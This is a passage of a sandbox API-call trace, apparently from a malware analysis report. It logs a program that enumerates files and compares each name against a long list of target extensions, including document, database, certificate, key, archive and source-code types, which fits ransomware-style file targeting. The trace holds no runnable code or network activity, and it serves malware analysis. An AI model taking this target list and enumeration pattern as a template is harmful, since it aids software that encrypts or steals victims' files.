returned -1 [0082.206] lstrlenW (lpString=".asp") returned 4 [0082.206] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".aspx") returned 5 [0082.206] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0082.206] lstrlenW (lpString=".asr") returned 4 [0082.206] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".asx") returned 4 [0082.206] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".avi") returned 4 [0082.206] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".avs") returned 4 [0082.206] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".backup") returned 7 [0082.206] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0082.206] lstrlenW (lpString=".bak") returned 4 [0082.206] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".bay") returned 4 [0082.206] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".bd") returned 3 [0082.206] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0082.206] lstrlenW (lpString=".bin") returned 4 [0082.206] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".bmp") returned 4 [0082.207] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".bz2") returned 4 [0082.207] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".c") returned 2 [0082.207] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0082.207] lstrlenW (lpString=".cdr") returned 4 [0082.207] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".cer") returned 4 [0082.207] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".cf") returned 3 [0082.207] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0082.207] lstrlenW (lpString=".cfc") returned 4 [0082.207] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".cfm") returned 4 [0082.207] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".cfml") returned 5 [0082.207] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0082.207] lstrlenW (lpString=".cfu") returned 4 [0082.207] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".chm") returned 4 [0082.207] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".cin") returned 4 [0082.207] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".class") returned 6 [0082.207] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0082.207] lstrlenW (lpString=".clx") returned 4 [0082.207] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".config") returned 7 [0082.207] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0082.207] lstrlenW (lpString=".cpp") returned 4 [0082.207] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0082.207] lstrlenW (lpString=".cr2") returned 4 [0082.208] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".crt") returned 4 [0082.208] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".crw") returned 4 [0082.208] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".cs") returned 3 [0082.208] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0082.208] lstrlenW (lpString=".css") returned 4 [0082.208] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".csv") returned 4 [0082.208] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".cub") returned 4 [0082.208] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".dae") returned 4 [0082.208] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".dat") returned 4 [0082.208] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".db") returned 3 [0082.208] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0082.208] lstrlenW (lpString=".dbf") returned 4 [0082.208] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".dbx") returned 4 [0082.208] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".dc3") returned 4 [0082.208] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".dcm") returned 4 [0082.208] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0082.208] lstrlenW (lpString=".dcr") returned 4 [0082.209] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".der") returned 4 [0082.209] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".dib") returned 4 [0082.209] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".dic") returned 4 [0082.209] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".dif") returned 4 [0082.209] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".divx") returned 5 [0082.209] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0082.209] lstrlenW (lpString=".djvu") returned 5 [0082.209] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0082.209] lstrlenW (lpString=".dng") returned 4 [0082.209] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".doc") returned 4 [0082.209] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".docm") returned 5 [0082.209] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0082.209] lstrlenW (lpString=".docx") returned 5 [0082.209] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0082.209] lstrlenW (lpString=".dot") returned 4 [0082.209] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0082.209] lstrlenW (lpString=".dotm") returned 5 [0082.209] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0082.209] lstrlenW (lpString=".dotx") returned 5 [0082.209] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0082.210] lstrlenW (lpString=".dpx") returned 4 [0082.210] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".dqy") returned 4 [0082.210] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".dsn") returned 4 [0082.210] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".dt") returned 3 [0082.210] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0082.210] lstrlenW (lpString=".dtd") returned 4 [0082.210] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".dwg") returned 4 [0082.210] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".dwt") returned 4 [0082.210] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".dx") returned 3 [0082.210] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0082.210] lstrlenW (lpString=".dxf") returned 4 [0082.210] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".edml") returned 5 [0082.210] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0082.210] lstrlenW (lpString=".efd") returned 4 [0082.210] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".elf") returned 4 [0082.210] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".emf") returned 4 [0082.210] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".emz") returned 4 [0082.210] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".epf") returned 4 [0082.210] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0082.210] lstrlenW (lpString=".eps") returned 4 [0082.211] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".epsf") returned 5 [0082.211] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0082.211] lstrlenW (lpString=".epsp") returned 5 [0082.211] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0082.211] lstrlenW (lpString=".erf") returned 4 [0082.211] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".exr") returned 4 [0082.211] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".f4v") returned 4 [0082.211] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".fido") returned 5 [0082.211] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0082.211] lstrlenW (lpString=".flm") returned 4 [0082.211] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".flv") returned 4 [0082.211] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".frm") returned 4 [0082.211] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".fxg") returned 4 [0082.211] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".geo") returned 4 [0082.211] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".gif") returned 4 [0082.211] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".grs") returned 4 [0082.211] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0082.211] lstrlenW (lpString=".gz") returned 3 [0082.211] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0082.211] lstrlenW (lpString=".h") returned 2 [0082.211] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0082.211] lstrlenW (lpString=".hdr") returned 4 [0082.212] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".hpp") returned 4 [0082.212] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".hta") returned 4 [0082.212] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".htc") returned 4 [0082.212] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".htm") returned 4 [0082.212] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".html") returned 5 [0082.212] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0082.212] lstrlenW (lpString=".icb") returned 4 [0082.212] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".ics") returned 4 [0082.212] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".iff") returned 4 [0082.212] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".inc") returned 4 [0082.212] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".indd") returned 5 [0082.212] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0082.212] lstrlenW (lpString=".ini") returned 4 [0082.212] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".iqy") returned 4 [0082.212] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0082.212] lstrlenW (lpString=".j2c") returned 4 [0082.212] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".j2k") returned 4 [0082.213] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".java") returned 5 [0082.213] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0082.213] lstrlenW (lpString=".jp2") returned 4 [0082.213] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".jpc") returned 4 [0082.213] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".jpe") returned 4 [0082.213] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".jpeg") returned 5 [0082.213] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0082.213] lstrlenW (lpString=".jpf") returned 4 [0082.213] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".jpg") returned 4 [0082.213] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".jpx") returned 4 [0082.213] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".js") returned 3 [0082.213] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0082.213] lstrlenW (lpString=".jsf") returned 4 [0082.213] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".json") returned 5 [0082.213] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0082.213] lstrlenW (lpString=".jsp") returned 4 [0082.213] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0082.213] lstrlenW (lpString=".kdc") returned 4 [0082.213] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".kmz") returned 4 [0082.214] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".kwm") returned 4 [0082.214] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".lasso") returned 6 [0082.214] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0082.214] lstrlenW (lpString=".lbi") returned 4 [0082.214] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".lgf") returned 4 [0082.214] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".lgp") returned 4 [0082.214] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".log") returned 4 [0082.214] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".m1v") returned 4 [0082.214] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".m4a") returned 4 [0082.214] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".m4v") returned 4 [0082.214] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".max") returned 4 [0082.214] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".md") returned 3 [0082.214] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0082.214] lstrlenW (lpString=".mda") returned 4 [0082.214] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0082.214] lstrlenW (lpString=".mdb") returned 4 [0082.214] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mde") returned 4 [0082.215] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mdf") returned 4 [0082.215] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mdw") returned 4 [0082.215] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mef") returned 4 [0082.215] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mft") returned 4 [0082.215] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mfw") returned 4 [0082.215] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mht") returned 4 [0082.215] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mhtml") returned 6 [0082.215] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0082.215] lstrlenW (lpString=".mka") returned 4 [0082.215] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mkidx") returned 6 [0082.215] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0082.215] lstrlenW (lpString=".mkv") returned 4 [0082.215] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mos") returned 4 [0082.215] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mov") returned 4 [0082.215] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mp3") returned 4 [0082.215] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mp4") returned 4 [0082.215] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0082.215] lstrlenW (lpString=".mpeg") returned 5 [0082.215] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0082.215] lstrlenW (lpString=".mpg") returned 4 [0082.216] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".mpv") returned 4 [0082.216] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".mrw") returned 4 [0082.216] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".msg") returned 4 [0082.216] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".mxl") returned 4 [0082.216] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".myd") returned 4 [0082.216] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".myi") returned 4 [0082.216] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".nef") returned 4 [0082.216] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".nrw") returned 4 [0082.216] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".obj") returned 4 [0082.216] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".odb") returned 4 [0082.216] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".odc") returned 4 [0082.216] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0082.216] lstrlenW (lpString=".odm") returned 4 [0082.216] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".odp") returned 4 [0082.217] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".ods") returned 4 [0082.217] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".oft") returned 4 [0082.217] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".one") returned 4 [0082.217] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".onepkg") returned 7 [0082.217] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0082.217] lstrlenW (lpString=".onetoc2") returned 8 [0082.217] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0082.217] lstrlenW (lpString=".opt") returned 4 [0082.217] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".oqy") returned 4 [0082.217] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".orf") returned 4 [0082.217] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".p12") returned 4 [0082.217] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".p7b") returned 4 [0082.217] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".p7c") returned 4 [0082.217] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".pam") returned 4 [0082.217] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".pbm") returned 4 [0082.217] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".pct") returned 4 [0082.217] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".pcx") returned 4 [0082.217] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0082.217] lstrlenW (lpString=".pdd") returned 4 [0082.217] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pdf") returned 4 [0082.218] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pdp") returned 4 [0082.218] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pef") returned 4 [0082.218] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pem") returned 4 [0082.218] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pff") returned 4 [0082.218] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pfm") returned 4 [0082.218] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pfx") returned 4 [0082.218] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".pgm") returned 4 [0082.218] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".php") returned 4 [0082.218] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0082.218] lstrlenW (lpString=".php3") returned 5 [0082.218] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0082.218] lstrlenW (lpString=".php4") returned 5 [0082.218] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0082.218] lstrlenW (lpString=".php5") returned 5 [0082.218] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0082.218] lstrlenW (lpString=".phtml") returned 6 [0082.218] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0082.218] lstrlenW (lpString=".pict") returned 5 [0082.218] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0082.219] lstrlenW (lpString=".pl") returned 3 [0082.219] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0082.219] lstrlenW (lpString=".pls") returned 4 [0082.219] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".pm") returned 3 [0082.219] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0082.219] lstrlenW (lpString=".png") returned 4 [0082.219] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".pnm") returned 4 [0082.219] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".pot") returned 4 [0082.219] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".potm") returned 5 [0082.219] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0082.219] lstrlenW (lpString=".potx") returned 5 [0082.219] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0082.219] lstrlenW (lpString=".ppa") returned 4 [0082.219] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".ppam") returned 5 [0082.219] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0082.219] lstrlenW (lpString=".ppm") returned 4 [0082.219] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".pps") returned 4 [0082.219] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0082.219] lstrlenW (lpString=".ppsm") returned 5 [0082.219] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0082.219] lstrlenW (lpString=".ppt") returned 4 [0082.220] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".pptm") returned 5 [0082.220] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0082.220] lstrlenW (lpString=".pptx") returned 5 [0082.220] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0082.220] lstrlenW (lpString=".prn") returned 4 [0082.220] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".ps") returned 3 [0082.220] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0082.220] lstrlenW (lpString=".psb") returned 4 [0082.220] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".psd") returned 4 [0082.220] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".pst") returned 4 [0082.220] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".ptx") returned 4 [0082.220] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".pub") returned 4 [0082.220] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".pwm") returned 4 [0082.220] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".pxr") returned 4 [0082.220] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0082.220] lstrlenW (lpString=".py") returned 3 [0082.220] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0082.220] lstrlenW (lpString=".qt") returned 3 [0082.220] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0082.220] lstrlenW (lpString=".r3d") returned 4 [0082.221] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0082.221] lstrlenW (lpString=".raf") returned 4 [0082.221] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0082.221] lstrlenW (lpString=".rar") returned 4 [0082.221] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0082.221] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0082.221] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", 